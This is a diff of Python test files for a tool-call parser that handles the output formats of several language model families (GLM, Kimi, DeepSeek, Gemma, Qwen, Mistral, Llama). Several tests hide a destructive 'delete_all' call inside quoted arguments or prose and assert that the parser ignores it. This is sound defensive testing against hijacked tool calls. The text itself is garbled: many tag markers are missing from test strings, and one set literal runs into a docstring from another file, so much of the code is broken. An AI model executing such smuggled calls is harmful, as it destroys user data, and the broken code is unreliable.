tag" + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["stop"] + + asyncio.run(_run()) + + def test_incomplete_xml_healed_at_done(self, monkeypatch): + async def _run(): + # No close tag and no finish chunk: healed at the [DONE] boundary, + # synthetic finish must say tool_calls. + lines = [ + 'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + payloads = _stream_payloads(chunks) + tool_deltas = [ + tc + for p in payloads + for c in p.get("choices", []) + for tc in (c.get("delta") or {}).get("tool_calls") or [] + ] + assert len(tool_deltas) == 1 + finishes = [ + c["finish_reason"] + for p in payloads + for c in p.get("choices", []) + if c.get("finish_reason") + ] + assert finishes == ["tool_calls"] + + asyncio.run(_run()) + + def test_structured_upstream_calls_relay_verbatim(self, monkeypatch): + async def _run(): + line = ( + 'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":' + '[{"index":0,"id":"call_up","type":"function","function":' + '{"name":"lookup","arguments":"{}"}}]}}]}' + ) + lines = [ + line, + 'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}', + "data: [DONE]", + ] + chunks = await _drive_stream(monkeypatch, _payload(), lines) + assert chunks[0] == line + "\n\n" # byte-for-byte relay + + asyncio.run(_run()) + + +class TestHealerSignalAlignment: + """The passthrough healer buffers only formats its parser can promote. + The loops' bare [ARGS] rehearsal signal is gated on active tool names + there; ungated in the healer it would stall legitimate prose until + finalization without ever producing a promotable call.""" + + def test_heal_signals_are_promotable_formats_only(self): + from core.inference.passthrough_healing import _HEAL_SIGNALS + assert set(_HEAL_SIGNALS) == { + "", + "<|tool_call>", + "`` containing a literal ``<`` (e.g. ``if x < 10``). +* Kimi K2 dotted name ``functions.my.tool:0`` keeps its full name + (``my.tool``) after stripping only the ``functions.`` prefix and + ``:idx`` suffix, while the full id is preserved on the call. +* Kimi K2 bare-counter id (no ``functions.`` prefix, no ``:IDX``) is + dropped rather than surfaced under a numeric name. +* DeepSeek V3.1 truncated mid-stream produces an empty result without + raising. +* ``routes.inference._strip_tool_xml`` strips the DeepSeek envelope and + the Kimi section markers added by this PR. +""" + +import json + +import pytest + +from core.inference.tool_call_parser import ( + parse_tool_calls_from_text, + strip_tool_markup, +) + + +# GLM string-vs-JSON-encoded value coercion (finding B in plan) + + +@pytest.mark.parametrize( + "raw_val, expected_python", + [ + # Bare numeric / bool / null shapes are still treated as JSON + # literals (ambiguous with strings; the template doesn't tell us). + ("42", 42), + ("true", True), + ("false", False), + ("null", None), + ("3.14", 3.14), + ("-7", -7), + ("1e3", 1000.0), + ], +) +def test_glm_numeric_and_bool_literals_are_json_decoded(raw_val, expected_python): + text = ( + "n\n" + f"v\n" + f"{raw_val}\n" + "" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["v"] == expected_python + + +@pytest.mark.parametrize( + "raw_val", + [ + "hello world", # plain prose + "True", # Python literal, NOT JSON -- no longer eaten by ast.literal_eval + "None", # Python literal, NOT JSON -- no longer eaten by ast.literal_eval + "if x < 10: pass", # code with literal < (well, < not in arg_value here) + "{not valid json", # looks like an object but is malformed -- must stay raw + "[oops", # looks like an array but is malformed + ], +) +def test_glm_non_json_shapes_stay_raw(raw_val): + text = ( + "n\n" + f"v\n" + f"{raw_val}\n" + "" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["v"] == raw_val + assert isinstance(args["v"], str) + + +def test_glm_json_object_arg_decoded(): + text = ( + "nest\n" + "opts\n" + '{"limit": 10}\n' + "" + ) + calls = parse_tool_calls_from_text(text) + args = json.loads(calls[0]["function"]["arguments"]) + assert args["opts"] == {"limit": 10} + + +def test_glm_json_array_arg_decoded(): + text = ( + "nest\n" + "ids\n" + "[1, 2, 3]\n" + "" + ) + calls = parse_tool_calls_from_text(text) + args = json.loads(calls[0]["function"]["arguments"]) + assert args["ids"] == [1, 2, 3] + + +def test_glm_arg_value_with_literal_less_than(): + text = ( + "run\n" + "code\n" + "if x < 10: pass\n" + "" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + args = json.loads(calls[0]["function"]["arguments"]) + assert args["code"] == "if x < 10: pass" + + +# GLM 4.7 no-newline emission shape + + +def test_glm_4_7_no_newlines_between_name_and_arg_key(): + """GLM 4.7 strips the ``\\n`` after the name (``{{- ... -}}`` in the + template) so ```` follows directly. Parser must accept both.""" + text = ( + "get_weather" + "cityLondon" + "unitscelsius" + "" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_weather" + args = json.loads(calls[0]["function"]["arguments"]) + assert args == {"city": "London", "units": "celsius"} + + +def test_glm_4_7_no_newlines_multi_call(): + """Back-to-back GLM 4.7 calls without intervening newlines.""" + text = ( + "ax1" + "by2" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 2 + assert calls[0]["function"]["name"] == "a" + assert calls[1]["function"]["name"] == "b" + + +def test_glm_4_7_does_not_break_qwen_path(): + """Qwen ``{json}`` still dispatches to Qwen; GLM's + first-char ``[^\\n<{]`` excludes ``{``.""" + text = '{"name":"web_search","arguments":{"q":"x"}}' + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "web_search" + + +# Kimi K2 dotted name + bare counter (finding C in plan) + + +def test_kimi_dotted_namespace_keeps_full_dotted_name(): + # A dotted Kimi id keeps its FULL name; only the ``functions.`` prefix and ``:idx`` suffix drop (vLLM parity). + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.my.tool:0" + "<|tool_call_argument_begin|>{}" + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "my.tool" + assert calls[0]["id"] == "functions.my.tool:0" + + +def test_kimi_two_sections_in_one_stream_both_parse(): + """Outer loop walks every ``<|tool_calls_section_begin|>...end|>`` + so vLLM / SGLang parity holds even on multi-section streams.""" + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.a:0" + '<|tool_call_argument_begin|>{"x":1}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + " some prose between sections " + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.b:0" + '<|tool_call_argument_begin|>{"y":2}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 2 + assert calls[0]["function"]["name"] == "a" + assert calls[1]["function"]["name"] == "b" + assert calls[0]["id"] == "functions.a:0" + assert calls[1]["id"] == "functions.b:0" + + +def test_kimi_bare_counter_id_is_dropped(): + """Bare-digit id (``3``) is dropped (matches vLLM); SGLang infers + name from schema, which we don't have at parse time.""" + text = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>3" + "<|tool_call_argument_begin|>{}" + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + ) + calls = parse_tool_calls_from_text(text) + assert calls == [] + + +# DeepSeek truncated mid-stream + + +def test_deepseek_v3_1_huge_truncated_body_is_linear(): + """Adversarial input: DeepSeek envelope with no JSON brace and a + 50k-char body. A regex-based ``[^\\n<]+?`` name capture is O(N^2) + here; the parser uses ``str.find`` on the sep marker so it stays + linear. Budget 1s to flag any future regression.""" + import time as _time + + text = "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>" + "x" * 50_000 + start = _time.time() + calls = parse_tool_calls_from_text(text) + elapsed = _time.time() - start + assert elapsed < 1.0, f"V3 path is non-linear: {elapsed:.2f}s" + assert calls == [] + + +def test_deepseek_r1_huge_fenceless_body_is_linear(): + """R1 detection used a greedy ``([^\\n]+)\\n```json`` regex that is O(N^2) on a + fence-less body of repeated ``function`` tokens. The parser now scans with + ``str.find``; budget 1s to flag any regression.""" + import time as _time + + text = "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>a" * 40_000 + start = _time.time() + calls = parse_tool_calls_from_text(text) + elapsed = _time.time() - start + assert elapsed < 1.0, f"R1 path is non-linear: {elapsed:.2f}s" + assert calls == [] + + +def test_glm_unclosed_body_many_arg_keys_is_linear(): + """An unclosed GLM ```` body runs to EOF; a lazy-group ``finditer`` + over many bare ```` tokens was O(N^2). The parser now walks pairs with + ``str.find``; budget 1s.""" + import time as _time + + text = "foo\n" + "k" * 40_000 + start = _time.time() + parse_tool_calls_from_text(text) + elapsed = _time.time() - start + assert elapsed < 1.0, f"GLM path is non-linear: {elapsed:.2f}s" + + +def test_deepseek_r1_fenced_json_parses(): + """R1 wraps args in a ```json fence after ``functionNAME``.""" + import json as _json + + text = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n" + "```json\n" + '{"city":"NYC","unit":"c"}\n' + "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_weather" + assert _json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC", "unit": "c"} + + +def test_deepseek_v3_1_truncated_arguments_drops_call_without_crash(): + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + "<｜tool▁sep｜>" + '{"city":"Tokyo"' # no closing brace, no end markers + ) + calls = parse_tool_calls_from_text(text) + assert calls == [] + + +def test_deepseek_v3_1_truncated_after_end_marker_still_yields_call(): + text = ( + "<｜tool▁calls▁begin｜>" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}' + # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜> + ) + calls = parse_tool_calls_from_text(text) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_time" + assert json.loads(calls[0]["function"]["arguments"]) == {"city": "Tokyo"} + + +# Routes-layer strip across the three new families + + +def test_routes_layer_strip_removes_deepseek_envelope(): + from routes.inference import _strip_tool_xml as _routes_strip + + text = ( + "before " + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + '<｜tool▁sep｜>{"city":"Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + " after" + ) + stripped = _routes_strip(text) + assert stripped == "before after" + + +def test_routes_layer_strip_removes_kimi_section(): + from routes.inference import _strip_tool_xml as _routes_strip + + text = ( + "before " + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"q":"x"}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + " after" + ) + stripped = _routes_strip(text) + assert stripped == "before after" + + +def test_routes_layer_strip_removes_glm_block(): + """``.*?`` covers GLM via the Qwen pattern.""" + from routes.inference import _strip_tool_xml as _routes_strip + + text = ( + "before " + "web_search\n" + "q\nx\n" + "" + " after" + ) + stripped = _routes_strip(text) + assert stripped == "before after" + + +# strip_tool_markup (parser-level finalise path) over the new families + + +def test_strip_tool_markup_handles_deepseek_envelope(): + text = ( + "before " + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + '<｜tool▁sep｜>{"city":"Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + " after" + ) + stripped = strip_tool_markup(text, final = True) + assert "before" in stripped and "after" in stripped + assert "｜tool▁" not in stripped + assert "get_time" not in stripped and "Tokyo" not in stripped + + +def test_strip_tool_markup_handles_kimi_section(): + text = ( + "before " + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"q":"x"}' + "<|tool_call_end|>" + "<|tool_calls_section_end|>" + " after" + ) + stripped = strip_tool_markup(text, final = True) + assert "before" in stripped and "after" in stripped + assert "tool_calls_section_begin" not in stripped + + +# Round-2 review findings: GLM quoted-string / unclosed-arg, DeepSeek +# strict terminator, nested wrapper-less Gemma strip + + +def test_glm_quoted_string_arg_keeps_its_quotes(): + # A GLM string value emitted verbatim that itself begins with a quote. + text = ( + "web_search\n" + "query\n" + '"exact phrase"\n' + "" + ) + calls = parse_tool_calls_from_text(text) + args = json.loads(calls[0]["function"]["arguments"]) + assert args["query"] == '"exact phrase"' + + +def test_glm_unclosed_arg_value_is_rejected_in_strict_mode(): + # Closing present but a value never closes: strict mode must reject + # the whole call rather than execute it with the argument silently dropped. + text = ( + "web_search\n" + "query\n" + "Tokyo weather" # no + "" + ) + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + # With Auto-Heal the partial value is kept, not dropped to a no-arg call. + healed = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(healed) == 1 + args = json.loads(healed[0]["function"]["arguments"]) + assert "Tokyo weather" in args.get("query", "") + + +def test_deepseek_v3_missing_call_terminator_rejected_in_strict_mode(): + # Envelope closes but the per-call <｜tool▁call▁end｜> is absent. Strict mode + # must reject (it is truncated/merged); Auto-Heal still parses it. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + '<｜tool▁sep｜>{"city":"Tokyo"}' + "<｜tool▁calls▁end｜>" # envelope end only, no per-call end + ) + assert parse_tool_calls_from_text(text, allow_incomplete = False) == [] + healed = parse_tool_calls_from_text(text, allow_incomplete = True) + assert len(healed) == 1 + assert healed[0]["function"]["name"] == "get_time" + + +def test_deepseek_v3_with_call_terminator_parses_in_strict_mode(): + # Sanity: a well-formed V3 call (with the per-call end marker) still parses + # under strict mode after the terminator check. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>get_time" + '<｜tool▁sep｜>{"city":"Tokyo"}' + "<｜tool▁call▁end｜>" + "<｜tool▁calls▁end｜>" + ) + calls = parse_tool_calls_from_text(text, allow_incomplete = False) + assert len(calls) == 1 + assert calls[0]["function"]["name"] == "get_time" + + +def test_strip_tool_markup_removes_nested_wrapperless_gemma_call(): + # Wrapper-less Gemma call with a NESTED object arg: the balanced helper must strip the whole call, not leave a trailing ``}``. + text = "answer: call:f{loc:{city:NYC},n:3} done" + stripped = strip_tool_markup(text, final = True) + assert "call:f" not in stripped + assert "}" not in stripped + assert "answer:" in stripped and "done" in stripped + + +# Pass-3 review findings: bare-Kimi streaming (non-final) strip symmetry +# and the wrapper-less Gemma route-display strip + + +def test_strip_tool_markup_non_final_removes_bare_kimi_call(): + # A bare ``<|tool_call_begin|>...<|tool_call_end|>`` (no section wrapper): the CLOSED (final=False) strip must remove it too. + text = ( + "before " + "<|tool_call_begin|>functions.web_search:0" + '<|tool_call_argument_begin|>{"q":"x"}' + "<|tool_call_end|>" + " after" + ) + stripped = strip_tool_markup(text, final = False) + assert "tool_call_begin" not in stripped + assert "tool_call_end" not in stripped + assert "before" in stripped and "after" in stripped + + +def test_routes_layer_strip_removes_wrapperless_gemma_call(): + # Gemma 4 (skip_special_tokens) emits a wrapper-less ``call:NAME{..}`` with no XML markers. + from routes.inference import _strip_tool_xml as _routes_strip + + text = 'before call:web_search{query:"weather in Sydney"} after' + stripped = _routes_strip(text) + assert "call:web_search" not in stripped + assert "before" in stripped and "after" in stripped + + +def test_deepseek_envelope_end_inside_arg_string_is_not_a_truncation(): + # A DeepSeek V3.1 call whose argument string contains the literal envelope-end token must not be dropped. + content = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>web_search<｜tool▁sep｜>" + '{"query":"what does <｜tool▁calls▁end｜> mean"}' + "<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + calls = parse_tool_calls_from_text(content) + assert len(calls) == 1, calls + assert calls[0]["function"]["name"] == "web_search" + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "what does <｜tool▁calls▁end｜> mean" + } + + +def test_glm_value_containing_literal_arg_value_close_is_preserved(): + # A GLM string argument may legitimately contain . + content = ( + "runcode" + 'print("")' + ) + calls = parse_tool_calls_from_text(content) + assert len(calls) == 1, calls + assert json.loads(calls[0]["function"]["arguments"]) == {"code": 'print("")'} + + +def test_attribute_form_function_with_embedded_marker_runs_outer_call(): + # is a supported envelope; a DeepSeek/Kimi marker inside one of its + # parameter values is data, not a second call. + content = ( + '' + "The Kimi format is <|tool_call_begin|>functions.delete_all:0" + "<|tool_call_argument_begin|>{}<|tool_call_end|>" + "" + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["respond"], calls + + +def test_wrapperless_gemma_call_gated_by_enabled_tools(): + # Once skip_special_tokens removes the <|tool_call> wrapper, call:NAME{...} is + # indistinguishable from prose documenting the Gemma syntax. + prose = "Here is an example of the syntax: call:foo{x:1}. That shows how tools work." + assert parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) == [] + # The display strip is gated the same way, so the example survives in the answer. + assert "call:foo{x:1}" in strip_tool_markup( + prose, final = True, enabled_tool_names = {"web_search"} + ) + # An enabled name is still a real call (parsed, and stripped from display). + real = "Answer. call:web_search{query:hi}" + calls = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert "call:web_search" not in strip_tool_markup( + real, final = True, enabled_tool_names = {"web_search"} + ) + + +def test_kimi_section_end_inside_arg_string_is_not_a_truncation(): + # In a multi-call Kimi section, a later call whose argument holds the literal section-end token must not truncate the section. + content = ( + "<|tool_calls_section_begin|>" + "<|tool_call_begin|>functions.search:0<|tool_call_argument_begin|>" + '{"q":"cats"}<|tool_call_end|>' + "<|tool_call_begin|>functions.explain:1<|tool_call_argument_begin|>" + '{"text":"the token <|tool_calls_section_end|> means end"}<|tool_call_end|>' + "<|tool_calls_section_end|>" + ) + calls = parse_tool_calls_from_text(content) + assert [c["function"]["name"] for c in calls] == ["search", "explain"], calls + assert json.loads(calls[1]["function"]["arguments"]) == { + "text": "the token <|tool_calls_section_end|> means end" + } + + +def test_closed_envelope_before_deepseek_block_owns_turn(): + # Document order is the contract: a CLOSED / call that precedes a + # DeepSeek/Kimi block owns the turn, even when prose frames it as an example. + deepseek = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>search_web\n" + "```json\n" + '{"query":"weather in Paris"}\n' + "```" + "<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + prose = ( + 'A Qwen call looks like {"name":"example_tool","arguments":{}}.\n' + ) + calls = parse_tool_calls_from_text(prose + deepseek) + assert [c["function"]["name"] for c in calls] == ["example_tool"], calls + + kimi = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.lookup:0" + '<|tool_call_argument_begin|>{"id":7}<|tool_call_end|><|tool_calls_section_end|>' + ) + calls_k = parse_tool_calls_from_text("Example: {} and now:\n" + kimi) + assert [c["function"]["name"] for c in calls_k] == ["demo"], calls_k + + +def test_marker_inside_closed_outer_envelope_still_runs_outer_call(): + # The guard must fire when the marker sits INSIDE a closed outer / envelope's arguments: the OUTER call wins. + outer = ( + "what does <｜tool▁calls▁begin｜> mean" + ) + calls = parse_tool_calls_from_text(outer) + # The outer envelope is the real call; the embedded DeepSeek marker must not + # hijack the parse into a spurious tool. + assert [c["function"]["name"] for c in calls] == ["lookup"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "q": "what does <｜tool▁calls▁begin｜> mean" + } + + +def test_truncated_outer_envelope_with_embedded_marker_heals_outer_call(): + # A TRUNCATED outer call embedding a DeepSeek/Kimi marker in its argument still Auto-Heals as the outer call. + trunc = 'x = "<｜tool▁calls▁begin｜>sample"' + calls = parse_tool_calls_from_text(trunc) + assert [c["function"]["name"] for c in calls] == ["python"], calls + + +def test_python_tag_call_with_embedded_marker_runs_outer_call(): + # ``<|python_tag|>`` is Llama-3's tool-call envelope, so a DeepSeek/Kimi example quoted + # in its argument is data: the OUTER python_tag call (``web_search``) must run, not the + # embedded marker (``delete_all``). + kimi = ( + "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0" + "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>" + ) + deepseek = ( + "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>delete_all<｜tool▁sep｜>{}" + "<｜tool▁call▁end｜><｜tool▁calls▁end｜>" + ) + for embedded in (kimi, deepseek): + builtin = '<|python_tag|>web_search.call(query="explain ' + embedded + '")' + calls = parse_tool_calls_from_text(builtin, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + custom = ( + '<|python_tag|>{"name":"web_search","parameters":' + '{"query":"explain ' + embedded + '"}}' + ) + calls = parse_tool_calls_from_text(custom, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + + # A bare ``<|python_tag|>`` prose mention (no call shape) must NOT be treated as an + # envelope: a real Kimi call after it still parses (the call-shaped lookahead guard). + prose = "The token <|python_tag|> is used. " + kimi + calls = parse_tool_calls_from_text(prose) + assert [c["function"]["name"] for c in calls] == ["delete_all"], calls + + +def test_gemma_wrapperless_quoted_value_with_comma_not_split(): + # A wrapper-less Gemma call whose quoted value contains ``, key:``. + text = 'call:web_search{query:"weather, location: Boston", limit:3}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "weather, location: Boston", + "limit": 3, + } + + +def test_literal_close_tag_in_xml_arg_before_marker_runs_outer_call(): + # A literal ```` inside an outer XML argument (before a marker) is not the envelope close: the span reaches the REAL final close. + text = ( + 'x = " ' + "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}" + '<|tool_call_end|>"' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["python"], calls + + +def test_literal_tool_call_close_in_qwen_json_before_marker_runs_outer_call(): + # A Qwen/Hermes whose JSON argument holds a literal then a marker must run the OUTER call. + text = ( + '{"name":"search","arguments":{"query":"explain then ' + "<|tool_call_begin|>functions.delete_all:0<|tool_call_argument_begin|>{}" + '<|tool_call_end|>"}}' + ) + calls = parse_tool_calls_from_text(text) + assert [c["function"]["name"] for c in calls] == ["search"], calls + # Back-to-back Qwen calls still parse independently (real-close span must keep the + # negative-lookahead that separates adjacent calls). + bb = ( + '{"name":"a","arguments":{}}' + '{"name":"b","arguments":{}}' + ) + assert [c["function"]["name"] for c in parse_tool_calls_from_text(bb)] == ["a", "b"] + + +def test_r1_heal_keeps_later_call_when_first_omits_close_fence(): + # DeepSeek R1 multi-call where the FIRST call has balanced JSON but omits its close + # fence/terminator, followed by a well-formed second call. + text = ( + "<｜tool▁calls▁begin｜>" + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n```json\n" + '{"city":"SF"}\n```' # no <｜tool▁call▁end｜> + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time\n```json\n" + '{"tz":"UTC"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + heal = [c["function"]["name"] for c in parse_tool_calls_from_text(text)] + assert "get_time" in heal, heal + # Strict keeps the later well-formed call; heal must be a superset. + strict = [ + c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False) + ] + assert set(strict) <= set(heal), (strict, heal) + + +def test_wrapperless_gemma_nested_call_in_arg_is_not_a_second_call(): + # A wrapper-less Gemma call whose quoted argument mentions another enabled tool must not execute that nested name. + text = 'call:web_search{query:"explain call:delete_all{target:files}"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "explain call:delete_all{target:files}" + } + # Two genuinely separate calls still both parse. + two = "call:web_search{query:hi}call:get_time{tz:UTC}" + assert [ + c["function"]["name"] + for c in parse_tool_calls_from_text(two, enabled_tool_names = {"web_search", "get_time"}) + ] == ["web_search", "get_time"] + + +def test_leading_bare_json_call_owns_quoted_gemma_snippet(): + # Document order: a leading Llama-3.2 bare-JSON call with trailing prose owns the turn. + text = ( + '{"name":"lookup","parameters":{"note":"use call:web_search{query:cats} for this"}}\n' + "That is the call I would make." + ) + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"lookup", "web_search"}) + assert [c["function"]["name"] for c in calls] == ["lookup"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "note": "use call:web_search{query:cats} for this" + } + + # Same with the ``;`` inter-call separator: both real calls parse, the + # quoted snippet still does not. + two = ( + '{"name":"lookup","parameters":{"note":"see call:web_search{query:cats}"}};' + '{"name":"lookup","parameters":{"q":"second"}}' + ) + calls_two = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "web_search"}) + assert [c["function"]["name"] for c in calls_two] == ["lookup", "lookup"], calls_two + + +def test_leading_gemma_call_still_wins_over_trailing_json_example(): + # Reverse control: a real leading Gemma call followed by a bare-JSON example keeps the Gemma call (bare JSON matches only a LEADING object). + text = 'call:web_search{query:cats} Example JSON: {"name":"demo_tool","parameters":{}}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "demo_tool"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + + # And prose-only enabled Gemma syntax (no leading JSON) still promotes: the + # markerless by-design behaviour is unchanged. + prose = "You can run call:web_search{query:cats} to search." + calls_p = parse_tool_calls_from_text(prose, enabled_tool_names = {"web_search"}) + assert [c["function"]["name"] for c in calls_p] == ["web_search"], calls_p + + +def test_leading_gemma_call_owns_quoted_mistral_trigger(): + # A leading wrapper-less Gemma call whose argument quotes a Mistral trigger must win: the [TOOL_CALLS] literal is data. + text = 'call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}' + calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["web_search"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "query": "docs say [TOOL_CALLS]delete_all{}" + } + + # Reverse control: a real leading Mistral call still parses normally. + real = '[TOOL_CALLS]delete_all{"x":1}' + calls_m = parse_tool_calls_from_text(real, enabled_tool_names = {"web_search", "delete_all"}) + assert [c["function"]["name"] for c in calls_m] == ["delete_all"], calls_m + + # A DISABLED Gemma example quoting the trigger is dropped as prose and a + # real call after it still parses (drop-the-span recursion). + mixed = ( + 'Example: call:demo{note:"see [TOOL_CALLS]delete_all{}"}\n' + '[TOOL_CALLS]web_search{"q":"real"}' + ) + calls_d = parse_tool_calls_from_text(mixed, enabled_tool_names = {"web_search", "delete_all"}) + assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d + + +def test_chained_bare_json_owns_kimi_marker_in_later_call(): + # Document order: two ;-chained bare-JSON calls own the turn even when the second's argument quotes a complete Kimi snippet. + kimi = ( + "<|tool_call_begin|>functions.delete_all:0" + "<|tool_call_argument_begin|>{}<|tool_call_end|>" + ) + two = ( + '{"name":"lookup","parameters":{"q":"first"}};' + '{"name":"lookup","parameters":{"note":"' + kimi + '"}}' + ) + calls = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls + + # Reverse control: prose followed by a real Kimi block still parses. + real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>" + calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k + + # A closed leading Mistral call preceding a trailing Kimi example owns the + # turn too (same closed-call-precedes-marker rule). + mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi + calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"}) + assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m + + +def test_nested_gemma_values_keep_commas_and_parens(): + # Nested wrapper-less Gemma mappings/arrays use the top-level delimiter rules, so nested arguments are not split. + calls = parse_tool_calls_from_text( + "call:python{opts:{code:print(1,2),lang:py}}", enabled_tool_names = {"python"} + ) + assert [c["function"]["name"] for c in calls] == ["python"], calls + assert json.loads(calls[0]["function"]["arguments"]) == { + "opts": {"code": "print(1,2)", "lang": "py"} + } + + arr = parse_tool_calls_from_text( + "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"} + ) + assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]} + + prose_comma = parse_tool_calls_from_text( + "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"} + ) + assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}} + + quoted = parse_tool_calls_from_text( + 'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"} + ) + assert json.loads(quoted[0]["function"]["arguments"]) == { + "opts": {"q": 'say "a, b" now', "n": 3} + } + + # Controls: nested quoted values and multi-key mappings are unchanged, and + # a truncated nested value still falls back to the raw string. + nested_q = parse_tool_calls_from_text( + 'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"} + ) + assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}} + multi = parse_tool_calls_from_text( + "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"} + ) + assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3} + trunc = parse_tool_calls_from_text( + "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"} + ) + assert json.loads(trunc[0]["function"]["arguments"]) == {"opts": "{code:print(1,2}"} + + +def test_multi_gemma_calls_own_turn_over_signal_in_later_call(): + # 